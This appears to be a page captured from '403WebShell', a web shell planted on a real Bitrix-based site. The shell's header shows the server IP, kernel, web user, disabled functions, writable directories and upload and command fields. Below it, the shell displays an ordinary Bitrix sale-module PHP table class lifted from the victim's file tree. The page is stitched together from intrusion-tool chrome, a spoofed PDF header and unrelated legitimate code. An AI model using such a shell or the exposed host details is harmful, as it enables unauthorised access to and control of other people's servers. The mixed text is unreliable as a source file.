%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.145.82.191
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/exchange/integration/entity/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/exchange/integration/entity/b24integrationstattable.php
<?php
namespace Bitrix\Sale\Exchange\Integration\Entity;

use Bitrix\Main;
use Bitrix\Main\Application;
use Bitrix\Main\ORM\Data\AddResult;
use Bitrix\Sale\Exchange\Integration\EntityType;

/**
 * Class B24integrationStatTable
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_B24integrationStat_Query query()
 * @method static EO_B24integrationStat_Result getByPrimary($primary, array $parameters = array())
 * @method static EO_B24integrationStat_Result getById($id)
 * @method static EO_B24integrationStat_Result getList(array $parameters = array())
 * @method static EO_B24integrationStat_Entity getEntity()
 * @method static \Bitrix\Sale\Exchange\Integration\Entity\EO_B24integrationStat createObject($setDefaultValues = true)
 * @method static \Bitrix\Sale\Exchange\Integration\Entity\EO_B24integrationStat_Collection createCollection()
 * @method static \Bitrix\Sale\Exchange\Integration\Entity\EO_B24integrationStat wakeUpObject($row)
 * @method static \Bitrix\Sale\Exchange\Integration\Entity\EO_B24integrationStat_Collection wakeUpCollection($rows)
 */
class B24integrationStatTable extends Main\Entity\DataManager
{
	public static function getTableName()
	{
		return 'b_sale_b24integration_stat';
	}

	/**
	 * @inheritdoc
	 */
	public static function getMap()
	{
		return [
			new Main\Entity\IntegerField('ID', ['primary' => true, 'autocomplete' => true]),
			new Main\Entity\EnumField('ENTITY_TYPE_ID', [
				'required' => true,
				'values' => [
					EntityType::ORDER,
				]]),
			new Main\Entity\IntegerField('ENTITY_ID', ['required' => true]),
			new Main\Entity\DatetimeField('DATE_UPDATE'),
			new Main\Entity\DatetimeField('TIMESTAMP_X', ['default_value' => new Main\Type\DateTime()]),
			new Main\Entity\IntegerField('PROVIDER_ID', ['required' => true]),
			new Main\Entity\StringField("CURRENCY", ['required' => true]),
			new Main\Entity\EnumField("STATUS", [
				'required' => true,
				'values' => [
					StatusType::SUCCESS_NAME,
					StatusType::PROCESS_NAME,
					StatusType::FAULTY_NAME
				]]),
			new Main\Entity\StringField("XML_ID", ['required' => true]),
			new Main\Entity\FloatField("AMOUNT", ['required' => true]),
		];
	}

	protected static function upsertPrepareParams(array $data)
	{
		$entityTypeID = isset($data['ENTITY_TYPE_ID']) ? (int)$data['ENTITY_TYPE_ID'] : \CCrmOwnerType::Undefined;
		$entityID = isset($data['ENTITY_ID']) ? (int)$data['ENTITY_ID'] : 0;
		$providerID = isset($data['PROVIDER_ID']) ? (int)$data['PROVIDER_ID'] : 0;
		$dateUpdate = isset($data['DATE_UPDATE']) ? $data['DATE_UPDATE']: null;
		$currency = isset($data['CURRENCY']) ? $data['CURRENCY'] : null;
		$status = isset($data['STATUS']) ? $data['STATUS'] : null;
		$xmlId = isset($data['XML_ID']) ? $data['XML_ID'] : null;
		$amount = isset($data['AMOUNT']) ? (double)$data['AMOUNT'] : 0.0;

		$now = 	Main\Type\DateTime::createFromTimestamp(time() + \CTimeZone::GetOffset());

		$fields = [
			'ENTITY_TYPE_ID' => $entityTypeID,
			'ENTITY_ID' => $entityID,
			'DATE_UPDATE' => $dateUpdate,
			'TIMESTAMP_X' => $now,
			'PROVIDER_ID' => $providerID,
			'CURRENCY' => $currency,
			'STATUS' => $status,
			'XML_ID' => $xmlId,
			'AMOUNT' => $amount,
		];

		return $fields;
	}

	/**
	 * @param array $data
	 * @return Main\Entity\AddResult
	 * @throws Main\ArgumentException
	 * @throws Main\Db\SqlQueryException
	 * @throws Main\SystemException
	 */
	public static function upsert(array $data)
	{
		$result = new Main\Entity\AddResult();
		$connection = Main\Application::getConnection();

		static::checkFields($result, null, $data);
		if($result->isSuccess() == false)
		{
			return $result;
		}

		$updateFields = $insertFields = static::upsertPrepareParams($data);

		$queries = $connection->getSqlHelper()->prepareMerge(
			static::getTableName(),
			[
				'ENTITY_TYPE_ID',
				'ENTITY_ID'
			],
			$insertFields,
			$updateFields
		);

		foreach($queries as $query)
		{
			$connection->queryExecute($query);
		}

		$result->setId(
			$connection->getInsertedId());

		return $result;
	}

	/**
	 * @param array $items
	 * @return AddResult
	 * @throws Main\ArgumentException
	 * @throws Main\ArgumentTypeException
	 * @throws Main\Db\SqlQueryException
	 * @throws Main\SystemException
	 */
	public static function modify(array $items)
	{
		$connection = Main\Application::getConnection();
		$sqlHelper = $connection->getSqlHelper();

		$r = static::checkModifyFields($items);
		if($r->isSuccess() == false)
		{
			return $r;
		}

		$names = [
			'ENTITY_TYPE_ID',
			'ENTITY_ID',
			'DATE_UPDATE',
			'TIMESTAMP_X',
			'PROVIDER_ID',
			'CURRENCY',
			'STATUS',
			'XML_ID',
			'AMOUNT'
		];

		foreach ($names as $name)
		{
			$duplicate[] = $name.' = VALUES('.$name.')';
		}

		foreach ($items as $item)
		{
			$fields = static::upsertPrepareParams($item);

			$valuesData = [
				$fields['ENTITY_TYPE_ID'],
				$fields['ENTITY_ID'],
				$sqlHelper->convertToDbDateTime($fields['DATE_UPDATE']),
				$sqlHelper->convertToDbDateTime($fields['TIMESTAMP_X']),
				$fields['PROVIDER_ID'],
				'\''.$sqlHelper->forSql($fields['CURRENCY']).'\'',
				'\''.$sqlHelper->forSql($fields['STATUS']).'\'',
				'\''.$sqlHelper->forSql($fields['XML_ID']).'\'',
				'\''.$fields['AMOUNT'].'\''
			];
			$values[] = '('.implode(',', $valuesData).')';
		}

		$query = '
				INSERT INTO '.static::getTableName().'
					('.implode(', ', $names).')
					VALUES '.implode(',', $values).'
					ON DUPLICATE KEY UPDATE
				'.implode(', ', $duplicate).'
			';

		Application::getConnection()->query($query);

		return $r;
	}

	/**
	 * @param $list
	 * @return AddResult
	 * @throws Main\ArgumentException
	 * @throws Main\SystemException
	 */
	static protected function checkModifyFields(array $list)
	{
		$result = new AddResult();
		$error = [];

		foreach ($list as $k=>$fields)
		{
			$r = new AddResult();

			static::checkFields($r, null, $fields);
			if($r->isSuccess() == false)
			{
				$error[] = '['.$k.'] '.implode(', ', $r->getErrorMessages()).'.';
			}
		}

		if(count($error)>0)
		{
			$result->addError(new Main\Error(implode(', ', $error)));
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit